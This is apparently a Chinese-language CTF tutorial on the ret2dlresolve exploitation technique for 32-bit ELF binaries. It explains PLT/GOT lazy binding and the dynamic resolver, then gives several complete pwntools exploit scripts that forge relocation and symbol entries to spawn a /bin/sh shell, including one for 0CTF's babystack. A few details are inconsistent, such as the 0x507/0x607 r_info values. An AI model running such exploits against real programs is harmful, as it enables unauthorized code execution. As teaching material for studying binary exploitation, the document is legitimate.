简介 ret2dlresolve 是一种利用程序漏洞(通常是缓冲区溢出)来绕过程序的安全机制并控制程序流程的攻击方式。它利用了动态链接库
(DLL)解析的过程,攻击者通过修改程序的控制流,迫使程序调用恶意的共享库函数。具体来说,攻击者通过构造特定的输入,使得程
序在执行时调用一个由攻击者控制的函数,从而实现远程代码执行。该攻击通常针对未启用安全防护(如地址空间布局随机化 ASLR 或栈
保护)的程序。
前置知识 ELF的动态解析 编译时,例如write,puts,printf等函数在 libc,但是libc 地址未知,程序不能直接 call write,只能:call write@plt,运行时再解析。
GOT 和 PLT 机制 PLT表(函数跳板) plt里每个函数长这样
1 2 3 4 puts@plt: jmp [puts@got] push reloc_index jmp plt0
第一次调用时puts是没有解析完的所以[puts@got]里面没有puts的libc的地址,因此他会继续向下执行。
所以执行流程:
1 2 3 4 5 write@plt ↓ plt0 ↓ _dl_runtime_resolve
解析后:
以后再调用:
1 write@plt → jmp write@got → libc_write
GOT表 第一次调用前:
第一次解析后:
真正负责解析的函数_dl_runtime_resolve 在之前我提到了一个plt0
1 2 3 plt0: push link_map jmp _dl_runtime_resolve
替换掉的话执行流就变成了这样
1 2 3 push link_map push reloc_index jmp _dl_runtime_resolve
所以进入 _dl_runtime_resolve时栈的情况是这样的:
1 2 3 return addr (返回write@plt下一条) //低地址 reloc_index link_map //高地址
resolver第一件事:拿 reloc_index 伪代码:
1 reloc = JMPREL + reloc_index
JMPREL:.rel.plt 表地址。
.rel.plt 表,每个表项8字节:
1 2 3 4 5 Elf32_Rel { r_offset r_info }
所以:
1 rel = rel_plt + reloc_index
现在 resolver 得到:rel 指向某个重定位项。
取 r_offset 和 r_info 1 2 r_offset = rel->r_offset r_info = rel->r_info
含义:
字段
作用
r_offset
解析后写入的地址(GOT)
r_info
决定解析哪个符号
检查 r_info 类型 resolver做校验:
必须:type == 7 (R_386_JUMP_SLOT) 否则:直接崩
通过 r_info 找 dynsym 核心公式:
1 2 sym_index = r_info >> 8 sym = dynsym + sym_index * 16
因为:
此时 resolver 认为:sym 是要解析的符号
dynsym结构 1 2 3 4 5 6 7 8 9 Elf32_Sym { st_name ← 最关键 st_value st_size st_info st_other st_shndx }
resolver接下来只关心:st_name
通过 st_name 找字符串 1 name = strtab + sym->st_name
strtab:.dynstr字符串表起始地址
name = 函数名字符串,例如:”write”,”system”,”read”
查找到函数名,它就会把这个函数的libc的地址写入got表并执行。
这里补充一下link_map的作用 link_map结构本质 1 2 3 4 5 6 7 8 9 10 struct link_map { Elf32_Addr l_addr; char *l_name; Elf32_Dyn *l_ld; struct link_map *l_next ; struct link_map *l_prev ; Elf32_Addr l_info[]; };
我们只需要关心:l_info[里存什么
1 2 3 4 l_info[DT_STRTAB] → 字符串表地址 l_info[DT_SYMTAB] → 符号表地址 l_info[DT_JMPREL] → 重定位表地址 l_info[DT_PLTGOT] → GOT地址
resolver内部逻辑:
1 2 3 symtab = link_map->l_info[DT_SYMTAB] strtab = link_map->l_info[DT_STRTAB] jmprel = link_map->l_info[DT_JMPREL]
这个了解一下就行,感觉只要知道link_map是必不可少的就行。
ret2dlresolve 这个攻击手法,就是通过伪造前置基础介绍的这个流程中的一些信息,是的原本要执行puts,write等函数时,会执行到system。
通过具体的例子来一步一步详细讲解是怎么利用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <unistd.h> #include <stdio.h> #include <string.h> void vuln () { char buf[100 ]; read(0 , buf, 256 ); } int main () { char buf[100 ] = "ret2dlresolve\n" ; write(1 , buf, strlen (buf)); vuln(); return 0 ; }
伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { size_t v3; char s[112 ]; int *p_argc; p_argc = &argc; strcpy (s, "ret2dlresolve\n" ); memset (&s[15 ], 0 , 85 ); v3 = strlen (s); write(1 , s, v3); vuln(); return 0 ; } ssize_t vuln () { char buf[104 ]; return read(0 , buf, 0x100u ); }
第一步 我们先解析wirte函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ► 0x80490b0 <write@plt> endbr32 0x80490b4 <write@plt+4> jmp dword ptr [0x804c018] <0x8049070> ↓ 0x8049070 endbr32 0x8049074 push 0x18 0x8049079 jmp 0x8049030 <0x8049030> ↓ 0x8049030 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804c004> 0x8049036 jmp dword ptr [0x804c008] <_dl_runtime_resolve> ↓ 0xf7fd8ff0 <_dl_runtime_resolve> endbr32 0xf7fd8ff4 <_dl_runtime_resolve+4> push eax 0xf7fd8ff5 <_dl_runtime_resolve+5> push ecx 0xf7fd8ff6 <_dl_runtime_resolve+6> push edx
pwndbg一下可以看到write的index_offset是0x18
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *elf = ELF('./reslove' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08049301 pop_ebp_ret = 0x08049303 leave_ret = 0x08049145 stack_size = 0x800 bss_addr = 0x0804c024 bss_stage = bss_addr + stack_size r = process('./reslove' ) r.recvuntil('ret2dlresolve\n' ) payload = flat('A' * offset , p32(read_plt) , p32(ppp_ret) , p32(0 ) , p32(bss_stage) , p32(100 ) , p32(pop_ebp_ret) , p32(bss_stage) , p32(leave_ret)) r.sendline(payload) cmd = "/bin/sh" plt_0 = 0x8049030 index_offset = 0x18 payload2 = flat('AAAA' , p32(plt_0) , index_offset , 'aaaa' , p32(1 ) , p32(bss_stage + 80 ) , p32(len (cmd)) , 'A' * 52 , cmd + '\x00' , 'A' * 12 ) r.sendline(payload2) r.interactive()
第二步 下一步,我们通过控制 reloc_arg 的数值,使动态链接器在解析重定位时访问到位于 可控内存(bss 段) 的伪造重定位表项。随后在 bss 段中手动构造一个假的 Elf32_Rel 结构(即伪造 .rel.plt 中某个函数如 write 的重定位项),从而可以控制其中的 r_info 字段,使动态解析流程按照我们伪造的符号信息进行解析并执行,达到任意函数调用的目的。
1 2 3 4 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; }Elf32_Rel;
1 2 3 4 // 原本是 reloc_arg + rel_plt = rel_plt->write // 伪造成 fake_arg + rel_plt = fake_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *elf = ELF('./reslove' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08049301 pop_ebp_ret = 0x08049303 leave_ret = 0x08049145 stack_size = 0x800 bss_addr = 0x0804c024 bss_stage = bss_addr + stack_size r = process('./reslove' ) r.recvuntil('ret2dlresolve\n' ) payload = flat('A' * offset , p32(read_plt) , p32(ppp_ret) , p32(0 ) , p32(bss_stage) , p32(100 ) , p32(pop_ebp_ret) , p32(bss_stage) , p32(leave_ret)) r.sendline(payload) cmd = "/bin/sh" plt_0 = 0x8049030 rel_plt = 0x8048348 fake_write_addr = bss_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got['write' ] r_info = 0x507 fake_write = flat(p32(r_offset), p32(r_info)) payload2 = flat('AAAA' , p32(plt_0) , fake_arg , 'aaaa' , p32(1 ) , p32(bss_stage + 80 ) , p32(len (cmd)) , fake_write , 'A' * 44 , cmd + '\x00' , 'A' * 12 ) r.sendline(payload2) r.interactive()
第三步 上一步中我们已近伪造好reloc,这一步我们只要把reloc中的r_info控制,使sym落在可控地址内,从而伪造sym,从而可以控制它的
st_name (偏移)
1 2 3 4 const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
.dynsym 节包含了动态链接符号表。ELF32_Sym[num]中的num对应着**ELF_R_SYM(Elf32_Rel->r_info)**。根据定义
1 ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8
sym的结构体如下(大小为0x10)
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
write的索引值为ELF32_R_SYM(0x507) = 0x607 >> 8 = 5。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) =
7, 对应着R_386_JUMP_SLOT。
ida中的symtab可以看到第五个索引是write,从0开始算。
1 2 3 4 5 6 7 8 9 10 11 LOAD:08048248 ; ELF Symbol Table LOAD:08048248 Elf32_Sym <0> LOAD:08048258 Elf32_Sym <offset aRead - offset unk_80482B8, 0, 0, 12h, 0, 0> ; "read" LOAD:08048268 Elf32_Sym <offset aGmonStart - offset unk_80482B8, 0, 0, 20h, 0, 0> ; "__gmon_start__" LOAD:08048278 Elf32_Sym <offset aStrlen - offset unk_80482B8, 0, 0, 12h, 0, 0> ; "strlen" LOAD:08048288 Elf32_Sym <offset aLibcStartMain - offset unk_80482B8, 0, 0, 12h, 0, \ ; "__libc_start_main" LOAD:08048288 0> LOAD:08048298 Elf32_Sym <offset aWrite - offset unk_80482B8, 0, 0, 12h, 0, 0> ; "write" LOAD:080482A8 Elf32_Sym <offset aIoStdinUsed - offset unk_80482B8, \ ; "_IO_stdin_used" LOAD:080482A8 offset _IO_stdin_used, 4, 11h, 0, 11h> LOAD:080482B8 ; ELF String Table
1 2 3 4 5 6 7 8 9 10 11 12 13 LOAD:080482B8 ; ELF String Table LOAD:080482B8 unk_80482B8 db 0 ; DATA XREF: LOAD:08048258↑o LOAD:080482B8 ; LOAD:08048268↑o ... LOAD:080482B9 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:08048320↓o LOAD:080482C3 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:080482A8↑o LOAD:080482D2 aStrlen db 'strlen',0 ; DATA XREF: LOAD:08048278↑o LOAD:080482D9 aRead db 'read',0 ; DATA XREF: LOAD:08048258↑o LOAD:080482DE aLibcStartMain db '__libc_start_main',0 LOAD:080482DE ; DATA XREF: LOAD:08048288↑o LOAD:080482F0 aWrite db 'write',0 ; DATA XREF: LOAD:08048298↑o LOAD:080482F6 aGlibc20 db 'GLIBC_2.0',0 ; DATA XREF: LOAD:08048330↓o LOAD:08048300 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:08048268↑o LOAD:0804830F align 10h
payload中0x38的由来: st_name = write_strtab - strtab = 0x080482F0 - 0x80482B8 = 0x38
1 2 3 4 原本: sym[num],num = (write_sym - dynsym) / 16 = 6 伪造后: num = (fake_write_sym - dynsym) / 16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *elf = ELF('./reslove' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08049301 pop_ebp_ret = 0x08049303 leave_ret = 0x08049145 stack_size = 0x800 bss_addr = 0x0804c024 bss_stage = bss_addr + stack_size r = process('./reslove' ) r.recvuntil('ret2dlresolve\n' ) payload = flat(b'A' * offset , p32(read_plt) , p32(ppp_ret) , p32(0 ) , p32(bss_stage) , p32(100 ) , p32(pop_ebp_ret) , p32(bss_stage) , p32(leave_ret)) r.sendline(payload) cmd = b"/bin/sh" plt_0 = 0x8049030 dynsym = 0x08048248 rel_plt = 0x8048348 fake_write_addr = bss_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got['write' ] align = 0x10 - ((bss_stage + 36 - dynsym) % 16 ) fake_sym_addr = bss_stage + 36 + align r_info = ((((fake_sym_addr - dynsym)//16 ) << 8 ) | 0x7 ) fake_write = flat(p32(r_offset), p32(r_info)) fake_sym = flat(p32(0x38 ),p32(0 ),p32(0 ),p32(0x12 )) payload2 = flat(b'AAAA' , p32(plt_0) , fake_arg , p32(ppp_ret) , p32(1 ) , p32(bss_stage + 80 ) , p32(len (cmd)) , fake_write , b'A' * align , fake_sym ) payload2 += flat(b'A' * (80 -len (payload2)) , cmd + b'\x00' ) payload2 += flat(b'A' * (100 -len (payload2))) r.sendline(payload2) r.interactive()
第四步 在上一步我们已经可以控制st_name了,这一步我们就要控制st_name了
1 2 3 4 原本: st_name = write_strtab - strtab(dynstr) 伪造后: fake_name = fake_write_str_addr - strtab(dynstr)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *elf = ELF('./reslove' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08049301 pop_ebp_ret = 0x08049303 leave_ret = 0x08049145 stack_size = 0x800 bss_addr = 0x0804c024 bss_stage = bss_addr + stack_size r = process('./reslove' ) r.recvuntil('ret2dlresolve\n' ) payload = flat(b'A' * offset , p32(read_plt) , p32(ppp_ret) , p32(0 ) , p32(bss_stage) , p32(100 ) , p32(pop_ebp_ret) , p32(bss_stage) , p32(leave_ret)) r.sendline(payload) cmd = b"/bin/sh" plt_0 = 0x8049030 dynstr = 0x080482b8 dynsym = 0x08048248 rel_plt = 0x8048348 fake_write_addr = bss_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got['write' ] align = 0x10 - ((bss_stage + 36 - dynsym) % 16 ) fake_sym_addr = bss_stage + 36 + align r_info = ((((fake_sym_addr - dynsym)//16 ) << 8 ) | 0x7 ) fake_write = flat(p32(r_offset), p32(r_info)) fake_write_str_addr = bss_stage + 36 + align + 0x10 fake_name = fake_write_str_addr - dynstr fake_sym = flat(p32(0x38 ),p32(0 ),p32(0 ),p32(0x12 )) fake_write_str = 'write\x00' payload2 = flat(b'AAAA' , p32(plt_0) , fake_arg , p32(ppp_ret) , p32(1 ) , p32(bss_stage + 80 ) , p32(len (cmd)) , fake_write , b'A' * align , fake_sym , fake_write_str ) payload2 += flat(b'A' * (80 -len (payload2)) , cmd + b'\x00' ) payload2 += flat(b'A' * (100 -len (payload2))) r.sendline(payload2) r.interactive()
第五步 把字符串换成system就行了,把write的参数换成system的参数就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *elf = ELF('./reslove' ) offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] ppp_ret = 0x08049301 pop_ebp_ret = 0x08049303 leave_ret = 0x08049145 stack_size = 0x800 bss_addr = 0x0804c024 bss_stage = bss_addr + stack_size r = process('./reslove' ) r.recvuntil(b'ret2dlresolve\n' ) payload = flat(b'A' * offset , p32(read_plt) , p32(ppp_ret) , p32(0 ) , p32(bss_stage) , p32(100 ) , p32(pop_ebp_ret) , p32(bss_stage) , p32(leave_ret)) r.sendline(payload) cmd = b"/bin/sh" plt_0 = 0x8049030 dynstr = 0x080482b8 dynsym = 0x08048248 rel_plt = 0x8048348 fake_write_addr = bss_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got['write' ] align = 0x10 - ((bss_stage + 36 - dynsym) % 16 ) fake_sym_addr = bss_stage + 36 + align r_info = ((((fake_sym_addr - dynsym)//16 ) << 8 ) | 0x7 ) fake_write = flat(p32(r_offset), p32(r_info)) fake_write_str_addr = bss_stage + 36 + align + 0x10 fake_name = fake_write_str_addr - dynstr fake_sym = flat(p32(fake_name),p32(0 ),p32(0 ),p32(0x12 )) fake_write_str = b'system\x00' payload2 = flat(b'AAAA' , p32(plt_0) , fake_arg , p32(ppp_ret) , p32(bss_stage + 80 ) , p32(bss_stage + 80 ) , p32(len (cmd)) , fake_write , b'A' * align , fake_sym , fake_write_str ) payload2 += flat(b'A' * (80 -len (payload2)) , cmd + b'\x00' ) payload2 += flat(b'A' * (100 -len (payload2))) r.sendline(payload2) r.interactive()
在用0CTF的babystack来试一下
伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main () { alarm(0xAu ); sub_804843B(); return 0 ; } ssize_t sub_804843B () { char buf[40 ]; return read(0 , buf, 0x40u ); }
由于溢出长度不够,我们还要利用一下栈迁移。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.arch='i386' p=process('./babystack' ) read_plt=0x8048300 read_got=0x804A00C bss_addr=0x804A000 pop_ebp_ret=0x080484eb leave_ret=0x080483a8 bss_stage=bss_addr+0x800 payload = b'a' *0x28 payload += p32(bss_stage) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0 ) payload += p32(bss_stage) payload += p32(100 ) p.send(payload) cmd = b"/bin/sh" plt_0=0x080482f0 rel_plt = 0x80482b0 dynsym = 0x80481cc dynstr = 0x804822c fake_read_addr = bss_stage + 28 fake_arg = fake_read_addr - rel_plt r_offset = 0x804A00C align = 0x10 - ((bss_stage + 36 - dynsym) % 16 ) fake_sym_addr = bss_stage + 36 + align r_info = ((((fake_sym_addr - dynsym)//16 ) << 8 ) | 0x7 ) fake_read_rel = p32(r_offset)+p32(r_info) fake_read_str_addr = bss_stage + 36 + align + 0x10 fake_name = fake_read_str_addr - dynstr fake_sym = p32(fake_name) + p32(0 ) + p32(0 ) + p32(0x12 ) fake_read_str = b'system\x00' payload2 = b'AAAA' payload2+=p32(plt_0) payload2+=p32(fake_arg) payload2+=b'aaaa' payload2+=p32(bss_stage + 80 ) payload2+=b'aaaa' payload2+=b'aaaa' payload2+=fake_read_rel payload2+=b'A' * align payload2+=fake_sym payload2+=fake_read_str payload2 += flat(b'A' * (80 -len (payload2)) , cmd + b'\x00' ) payload2 += flat(b'A' * (100 -len (payload2))) p.sendline(payload2) p.interactive()
参考文章 从0-1详解剖析ret2dlresolve-先知社区
新手向]ret2dl-resolve详解 - 知乎
ret2dl_resolve - 狒猩橙 - 博客园
ret2dlresolve超详细教程(x86&x64)-CSDN博客